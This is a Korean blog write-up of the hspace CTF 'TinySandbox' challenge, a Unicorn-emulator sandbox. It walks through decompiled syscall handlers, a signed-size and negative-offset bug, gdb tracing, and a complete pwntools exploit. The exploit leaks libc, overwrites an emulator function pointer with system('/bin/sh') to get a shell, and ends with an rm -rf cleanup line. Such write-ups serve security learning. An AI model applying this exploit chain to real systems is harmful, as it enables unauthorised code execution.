hspace CTF - TinySandbox

msh1307·2023년 3월 29일
0

Writeups

목록 보기
10/15
post-custom-banner

TinySandbox

딴 CTF 하다가, hspace CTF가 열려있다길래 조금 풀다가 끝났었는데 그때 받아놓은 바이너리중에 unicorn engine pwn이 있어서 궁금해서 풀어봤다.

Analysis

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 UC; // [rsp+8h] [rbp-13A8h] BYREF
  char v5[8]; // [rsp+10h] [rbp-13A0h] BYREF
  __int64 v6; // [rsp+18h] [rbp-1398h] BYREF
  char code_[912]; // [rsp+20h] [rbp-1390h] BYREF
  unsigned __int64 v8; // [rsp+13A8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_1429(a1, a2, a3);
  v6 = 0x1010000LL;
  if ( (unsigned int)uc_open(4LL, 8LL, &UC) )   // x86_64
  {
    puts("UC Open Error...");
    return 0xFFFFFFFFLL;
  }
  else
  {
    memset(code_, 0, 0x1388uLL);
    printf("Insert Code >>> ");
    if ( read(0, code_, 0x1000uLL) >= 0 )
    {
      uc_mem_map(UC, 0x1000000LL, 0x100000LL, 7LL);
      if ( (unsigned int)uc_mem_write(UC, 0x1000000LL, code_, 0x1000LL) )
      {
        puts("UC mem_write Error...");
        return 0xFFFFFFFFLL;
      }
      else
      {                                         // RSP 0x1010000
        uc_reg_write(UC, 0x2CLL, &v6);
        uc_hook_add(UC, v5, 2LL, syscall_hooker, 0LL, 1LL, 0LL, 0x2BBLL);// instruction hook - X86 syscall opcode
        uc_emu_start(UC, 0x1000000LL, 0x1001000LL, 0LL, 0LL);
        puts("Bye~ :)");
        return 0LL;
      }
    }
    else
    {
      puts("Read Error...");
      return 0xFFFFFFFFLL;
    }
  }
}
unsigned __int64 __fastcall syscall_hooker(void *UC_ENGINE)
{
  __int64 REG_RAX; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 REG_RDI; // [rsp+18h] [rbp-28h] BYREF
  unsigned __int64 REG_RSI; // [rsp+20h] [rbp-20h] BYREF
  __int64 REG_RDX; // [rsp+28h] [rbp-18h] BYREF
  ssize_t ret_; // [rsp+30h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  ret_ = 0xDEADBEEFLL;
  uc_reg_read(UC_ENGINE, 0x23LL, &REG_RAX);     // UC_X86_REG_RAX
  uc_reg_read(UC_ENGINE, 0x27LL, &REG_RDI);     // UC_X86_REG_RDI
  uc_reg_read(UC_ENGINE, 0x2BLL, &REG_RSI);     // UC_X86_REG_RSI
  uc_reg_read(UC_ENGINE, 0x28LL, &REG_RDX);     // UC_X86_REG_RDX
  switch ( REG_RAX )
  {
    case 0LL:
      ret_ = READ_FILE(REG_RDI, REG_RSI);
      break;
    case 1LL:
      ret_ = WRITE_FILE(REG_RDI);
      break;
    case 2LL:
      ret_ = OPEN(UC_ENGINE, REG_RDI, REG_RSI, REG_RDX);
      break;
    case 3LL:
      ret_ = CLOSE(REG_RDI);
      break;
    case 4LL:
      ret_ = ALLOC_STDIN_READ(REG_RDI);
      break;
    case 5LL:
      ret_ = ALLOC_STDOUT_WRITE(REG_RDI);
      break;
    default:
      break;
  }
  if ( ret_ == 0xDEADBEEFLL )
  {
    puts("Error :(");
    exit(-1);
  }
  uc_reg_write(UC_ENGINE, 0x23LL, &ret_);       // WRITE RAX
  return v7 - __readfsqword(0x28u);
}

직접 소스코드 뒤져서 enum 찾아봤더니 syscall에 훅을 건다.
즉 syscall들이 구현되어있다.

ssize_t __fastcall READ_FILE(unsigned __int64 REG_RDI, unsigned __int64 REG_RSI)
{
  if ( REG_RDI >= 0x200 )
    return 0xDEADBEEFLL;
  if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )// FD >1
    return 0xDEADBEEFLL;
  if ( !(&qword_5068)[3 * REG_RDI] )
    return 0xDEADBEEFLL;
  if ( REG_RSI > (unsigned __int64)(&qword_5068)[3 * REG_RDI] )
    return 0xDEADBEEFLL;
  if ( !qword_5070[3 * REG_RDI] )
    qword_5070[3 * REG_RDI] = malloc((size_t)(&qword_5068)[3 * REG_RDI] + 1);
  return read(
           (int)(&qword_5060)[3 * REG_RDI],
           (void *)(REG_RSI + qword_5070[3 * REG_RDI]),
           (size_t)(&qword_5068)[3 * REG_RDI] - REG_RSI);// read(FD,BUF+offset,SZ-offset)
}

파일을 읽어준다.

ssize_t __fastcall WRITE_FILE(unsigned __int64 REG_RDI)
{
  if ( REG_RDI >= 0x200 )
    return 0xDEADBEEFLL;
  if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )
    return 0xDEADBEEFLL;
  if ( !(&qword_5068)[3 * REG_RDI] )
    return 0xDEADBEEFLL;
  if ( qword_5070[3 * REG_RDI] )
    return write(
             (int)(&qword_5060)[3 * REG_RDI],
             (const void *)qword_5070[3 * REG_RDI],
             (size_t)(&qword_5068)[3 * REG_RDI]);
  return 0xDEADBEEFLL;
}                   

파일에 써준다.

__int64 __fastcall OPEN(void *UC_ENGINE, unsigned __int64 REG_RDI, unsigned __int64 REG_RSI, unsigned __int64 REG_RDX)
{
  __int64 v7; // [rsp+20h] [rbp-B0h]
  char *haystack; // [rsp+28h] [rbp-A8h]
  struct stat buf; // [rsp+30h] [rbp-A0h] BYREF
  unsigned __int64 v10; // [rsp+C8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 0xDEADBEEFLL;
  if ( (__int64)REG_RDX <= 0 || (__int64)REG_RDX > 0x40 )
    return 0xDEADBEEFLL;
  if ( REG_RDI >= 0x200 )
    return 0xDEADBEEFLL;
  if ( (__int64)(&qword_5060)[3 * REG_RDI] > 2 )
    return 0xDEADBEEFLL;
  haystack = (char *)malloc(REG_RDX + 4);
  if ( !(unsigned int)uc_mem_read(UC_ENGINE, REG_RSI, haystack, REG_RDX) )
  {
    if ( strstr(haystack, "flag") || strstr(haystack, "dev") || strstr(haystack, "proc") )
      return 0xDEADBEEFLL;
    (&qword_5060)[3 * REG_RDI] = (_QWORD *)open(haystack, 66, 0x1B6LL);// NEWFILE
    if ( (__int64)(&qword_5060)[3 * REG_RDI] > 2 )
    {
      if ( fstat((int)(&qword_5060)[3 * REG_RDI], &buf) == -1 )
        return 0xDEADBEEFLL;
      (&qword_5068)[3 * REG_RDI] = (_QWORD *)buf.st_size;
      v7 = (__int64)(&qword_5060)[3 * REG_RDI];
    }
  }
  free(haystack);
  return v7;
}   

파일을 열어준다.
flag를 바로 못열도록 필터링이 되어있다.

__int64 __fastcall CLOSE(unsigned __int64 REG_RDI)
{
  if ( REG_RDI >= 0x200 )
    return 0xDEADBEEFLL;
  if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )
    return 0xDEADBEEFLL;
  close((int)(&qword_5060)[3 * REG_RDI]);
  (&qword_5060)[3 * REG_RDI] = 0LL;
  (&qword_5068)[3 * REG_RDI] = 0LL;
  return 0LL;
}        

파일을 닫는다.

ssize_t __fastcall ALLOC_STDIN_READ(unsigned __int64 REG_RDI)
{
  __int64 v2; // [rsp+10h] [rbp-10h]
  void *v3; // [rsp+18h] [rbp-8h]

  if ( REG_RDI >= 0x200 )
    return 0xDEADBEEFLL;
  if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )// FD > 1
    return 0xDEADBEEFLL;
  write(1, "Insert Content Length >>> ", 0x1AuLL);
  __isoc99_scanf("%lld", &(&qword_5060)[3 * REG_RDI + 1]);// SZ -> signed 
  v2 = (__int64)(&qword_5068)[3 * REG_RDI];     // GET LEGNTH
  v3 = malloc(v2 + 1);
  if ( v3 )
  {
    if ( qword_5070[3 * REG_RDI] )              // if BUF
    {
      free((void *)qword_5070[3 * REG_RDI]);    // FREE BUF
      qword_5070[3 * REG_RDI] = 0LL;
    }
    qword_5070[3 * REG_RDI] = v3;               // SAVE BUF
    write(1, "Insert Content >>> ", 0x13uLL);
    return read(0, (void *)qword_5070[3 * REG_RDI], (size_t)(&qword_5068)[3 * REG_RDI]);
  }
  return v2;
} 

malloc하고 거기에 데이터를 읽어서 넣어준다.

ssize_t __fastcall ALLOC_STDOUT_WRITE(unsigned __int64 REG_RDI)
{
  if ( REG_RDI >= 0x200 )
    return 0xDEADBEEFLL;
  if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )// FD > 1
    return 0xDEADBEEFLL;
  if ( !(&qword_5068)[3 * REG_RDI] )            // SZ != 0
    return 0xDEADBEEFLL;
  if ( !qword_5070[3 * REG_RDI] )               // BUF != 0
    return 0xDEADBEEFLL;
  write(1, "Content >>> ", 0xCuLL);
  return write(1, (const void *)qword_5070[3 * REG_RDI], (size_t)(&qword_5068)[3 * REG_RDI]);
}                                               // FD > 1
                                                // SZ 
                                                // BUF 

STDOUT으로 내용을 출력해준다.

Exploitation

ALLOC_STDIN_READ 함수의 일부는 다음과 같다.

  __isoc99_scanf("%lld", &(&qword_5060)[3 * REG_RDI + 1]);// SZ -> signed 
  v2 = (__int64)(&qword_5068)[3 * REG_RDI];     // GET LEGNTH
  v3 = malloc(v2 + 1);

v2가 __int64라서 size 임의로 세팅 가능하고, UAF를 트리거할 수 있다.

READ_FILE 함수의 일부는 다음과 같다.

  if ( !(&qword_5068)[3 * REG_RDI] )
    return 0xDEADBEEFLL;
  if ( REG_RSI > (unsigned __int64)(&qword_5068)[3 * REG_RDI] )
    return 0xDEADBEEFLL;
  if ( !qword_5070[3 * REG_RDI] )
    qword_5070[3 * REG_RDI] = malloc((size_t)(&qword_5068)[3 * REG_RDI] + 1);
  return read(
           (int)(&qword_5060)[3 * REG_RDI],
           (void *)(REG_RSI + qword_5070[3 * REG_RDI]),
           (size_t)(&qword_5068)[3 * REG_RDI] - REG_RSI);

&(qword_5068)[3 * REG_RDI] 에 대한 검증이 미흡해 REG_RSI를 더 작게 만들어줘서 우회할 수 있다.
REG_RSI를 컨트롤 할 수 있으면 AAW가 가능하다.

import gdb
enable_syscall_trace = False
syscalls = ['mmap', 'read', 'write', 'brk', 'open', 'mprotect']
syscall_str = ' '.join(syscalls)
sym = []
def stop_handler(stopEvent):
    global sym
    sym_ = gdb.execute("info symbol $rip",to_string=True)
    mapp = gdb.execute("xinfo $rip",to_string=True)
    mapp = mapp[mapp.find('mapping:'):mapp.find('Offset info')].split()[-1]
    if 'No symbol' not in sym_:
        tar = sym_[:sym_.find(' ')]
        if sym[-1] != tar:
            sym.append(tar)
    if 'linux-gnu' in mapp or 'vdso' in mapp:
        gdb.execute("fin")

if 'call ' in gdb.execute("x/xi $rip",to_string=True):
    next = gdb.execute("x/2xi $rip",to_string=True)
    next = next[next.find("\n"):]
    next = next[next.find('0x'):next.find(':')]
    print("TRACE")
    if enable_syscall_trace:
        gdb.execute(f"catch syscall {syscall_str}")
    a = gdb.execute("info symbol $rip",to_string=True)
    if "No symbol" in a:
        sym.append("START_TRACE")
    else:
        sym.append(a[:a.find(' ')])
    gdb.execute("si")
    gdb.events.stop.connect(stop_handler)
    while str(gdb.parse_and_eval("$rip")) != next:
        gdb.execute("si")
    gdb.events.stop.disconnect(stop_handler)
    c = 0
    flag = {x : -1 for x in set(sym)}
    for i,j in enumerate(sym):
        if '_dl_runtime_resolve' in j:
            flag[j]=-1
        if flag[j]==-1:
            flag[j] =c
        elif flag[j] != -1:
            c = flag[j]
        tmp = '  ' * c + j
        print(f"{i : <3} | {tmp}")
        c += 1
else:
    print("OPCODE != call")

함수 포인터로 호출하길래 적당히 덮을곳 찾으려고 함수에 대한 심볼들을 추적해주는 스크립트를 작성했다.

0   | START_TRACE
1   |   uc_reg_write@plt
2   |     uc_reg_write
3   |       uc_reg_write_batch@plt
4   |         uc_reg_write_batch
5   |           x86_reg_write_x86_64
6   |     uc_reg_write

rdi를 컨트롤할 수 있는 함수들을 보던중 uc_reg_write 함수가 있어서 한번 확인해보았다.

pwndbg> x/50xg $rbx
0x5652bf2a32a0: 0x0000000800000004      0x0000000000000000
0x5652bf2a32b0: 0x00005652bf2a6c80      0x00005652bf2c3cb0
0x5652bf2a32c0: 0x00005652bf2c3a48      0x00005652bf2c3a88
0x5652bf2a32d0: 0x00005652bf2a32e8      0x00005652bf2a3558
0x5652bf2a32e0: 0x00005652bf2a32a0      0x00005652bf2a72d0
0x5652bf2a32f0: 0x00005652bf2f1900      0x0000000000000000
0x5652bf2a3300: 0x00005652bf2a32f8      0x0000000000000000
0x5652bf2a3310: 0x00005652bf2a32d0      0x00005652bf2a32a0
0x5652bf2a3320: 0x0000000000000000      0x00007fd676dd95e0
0x5652bf2a3330: 0x00007fd676ddb300      0x00007fd676ddacf0
0x5652bf2a3340: 0x00007fd676ddac70      0x00007fd676ddac60

pwndbg> x/20xi 0x00007fd676ddb300
   0x7fd676ddb300 <x86_reg_write_x86_64>:       push   r15
   0x7fd676ddb302 <x86_reg_write_x86_64+2>:     push   r14
   0x7fd676ddb304 <x86_reg_write_x86_64+4>:     push   r13
   0x7fd676ddb306 <x86_reg_write_x86_64+6>:     push   r12
   0x7fd676ddb308 <x86_reg_write_x86_64+8>:     push   rbp
   0x7fd676ddb309 <x86_reg_write_x86_64+9>:     push   rbx
   0x7fd676ddb30a <x86_reg_write_x86_64+10>:    sub    rsp,0x28
   0x7fd676ddb30e <x86_reg_write_x86_64+14>:    mov    r12,QWORD PTR [rdi+0x168]
   0x7fd676ddb315 <x86_reg_write_x86_64+21>:    test   ecx,ecx
   0x7fd676ddb317 <x86_reg_write_x86_64+23>:    lea    rax,[r12+0x8750]
   0x7fd676ddb31f <x86_reg_write_x86_64+31>:    mov    QWORD PTR [rsp],rax
   0x7fd676ddb323 <x86_reg_write_x86_64+35>:    jle    0x7fd676ddb3df <x86_reg_write_x86_64+223>
   0x7fd676ddb329 <x86_reg_write_x86_64+41>:    lea    eax,[rcx-0x1]
   0x7fd676ddb32c <x86_reg_write_x86_64+44>:    mov    rbp,rsi
   0x7fd676ddb32f <x86_reg_write_x86_64+47>:    mov    r14,rdx
   0x7fd676ddb332 <x86_reg_write_x86_64+50>:    lea    r15,[rsi+rax*4+0x4]
   0x7fd676ddb337 <x86_reg_write_x86_64+55>:    mov    r13,r15
   0x7fd676ddb33a <x86_reg_write_x86_64+58>:    mov    r15,r12
   0x7fd676ddb33d <x86_reg_write_x86_64+61>:    mov    r12,rdi
   0x7fd676ddb340 <x86_reg_write_x86_64+64>:    mov    ebx,DWORD PTR [rbp+0x0]

마침 uc_reg_write 함수는 x86_reg_write_x86_64를 호출하니 그걸 덮어주면 된다.

pwndbg> disass uc_reg_write
Dump of assembler code for function uc_reg_write:
   0x00007fb5031d2390 <+0>:     push   rbx
   0x00007fb5031d2391 <+1>:     mov    rbx,rdi
   0x00007fb5031d2394 <+4>:     sub    rsp,0x10
   0x00007fb5031d2398 <+8>:     cmp    BYTE PTR [rdi+0x76b],0x0
   0x00007fb5031d239f <+15>:    mov    DWORD PTR [rsp+0xc],esi
   0x00007fb5031d23a3 <+19>:    mov    QWORD PTR [rsp],rdx
   0x00007fb5031d23a7 <+23>:    je     0x7fb5031d23c8 <uc_reg_write+56>
   0x00007fb5031d23a9 <+25>:    lea    rsi,[rsp+0xc]
   0x00007fb5031d23ae <+30>:    mov    rdx,rsp
   0x00007fb5031d23b1 <+33>:    mov    ecx,0x1
   0x00007fb5031d23b6 <+38>:    mov    rdi,rbx
   0x00007fb5031d23b9 <+41>:    call   0x7fb5031b3860 <uc_reg_write_batch@plt>

익스할때 분기를 딴데로 타고 들어가길래, uc_reg_write_batch@plt를 호출하도록 [rdi+0x76b] 부분을 1로 덮어줬다.

Exploit script

from pwn import * 
from os import system
sa = lambda x,y : p.sendlineafter(x,y)
context.binary = e = ELF('./TinySandbox')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
p = process("./TinySandbox",env={"LD_LIBRARY_PATH":"./"})
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
rvu = lambda x: p.recvuntil(x)
EMU_RSP = 0x1010000
def emu_syscall_OPEN(f_name : str,idx : int) -> bytes:
    global EMU_RSP
    shellcode = b''
    shellcode += asm(shellcraft.pushstr(f_name))
    EMU_RSP-=((len(f_name)+7)>>3)<<3
    shellcode += asm(f'''\
        mov rax, 2
        mov rdi, {idx}
        mov rsi, {EMU_RSP}
        mov rdx, {len(f_name)}
        syscall
    ''')
    return shellcode
def emu_syscall_WRITE_FILE(idx : int) -> bytes:
    shellcode = b''
    shellcode += asm(f'''\
        mov rax, 0x1
        mov rdi, {idx}
        syscall
    ''')
    return shellcode
def emu_syscall_READ_FILE(idx : int, off : int) -> bytes:
    shellcode = b''
    shellcode += asm(f'''\
        mov rax, 0x0
        mov rdi, {idx}
        mov rsi, {off}
        syscall
    ''')
    return shellcode
def emu_syscall_CLOSE(idx : int) -> bytes:
    shellcode = b''
    shellcode += asm(f'''\
        mov rax, 0x3
        mov rdi, {idx}
        syscall
    ''')
    return shellcode
def emu_syscall_ALLOC_STDIN_READ(idx : int) -> bytes:
    shellcode = b''
    shellcode += asm(f'''\
        mov rax, 0x4
        mov rdi, {idx}
        syscall
    ''')
    return shellcode
def emu_syscall_ALLOC_STDOUT_WRITE(idx : int) -> bytes:
    shellcode = b''
    shellcode += asm(f'''\
        mov rax, 0x5
        mov rdi, {idx}
        syscall
    ''')
    return shellcode

shellcode = b''
shellcode += emu_syscall_OPEN("A\x00",0)
shellcode += emu_syscall_ALLOC_STDIN_READ(0)
shellcode += emu_syscall_ALLOC_STDOUT_WRITE(0)
shellcode += emu_syscall_ALLOC_STDIN_READ(0)
shellcode += emu_syscall_WRITE_FILE(0)
shellcode += emu_syscall_CLOSE(0) # file offset reset 0 
shellcode += emu_syscall_OPEN("A\x00",0)
shellcode += emu_syscall_ALLOC_STDIN_READ(0)
shellcode += emu_syscall_READ_FILE(0,-0xcab0) #  + 0x88 -> x86_reg_write_x86_64
p.sendafter(b'Insert Code >>>',shellcode)
sla(b'Insert Content Length >>>',str(0x40-1))
sa(b'Insert Content >>> ',b'\xe0')
rvu(b'Content >>> ')
libc_base = u64(rvu(b'\x7f').ljust(8,b'\x00')) -0x219ce0
success(f'libc_base : {hex(libc_base)}')
sla(b'Insert Content Length >>>',str(0x770))
pay = b'/bin/sh\x00'
pay += p64(0)*((0x90-8)>>3)
pay += p64(libc_base + libc.sym.system)
pay += b'A'*(0x76b-len(pay))
pay += b'\x01' 
pause()
sa(b'Insert Content >>> ',pay)

sla(b'Insert Content Length >>>',str(-1))

p.interactive()

system("rm -rf ./A")
profile
https://msh1307.kr
post-custom-banner

2개의 댓글

comment-user-thumbnail
2023년 4월 15일

고수시네용

1개의 답글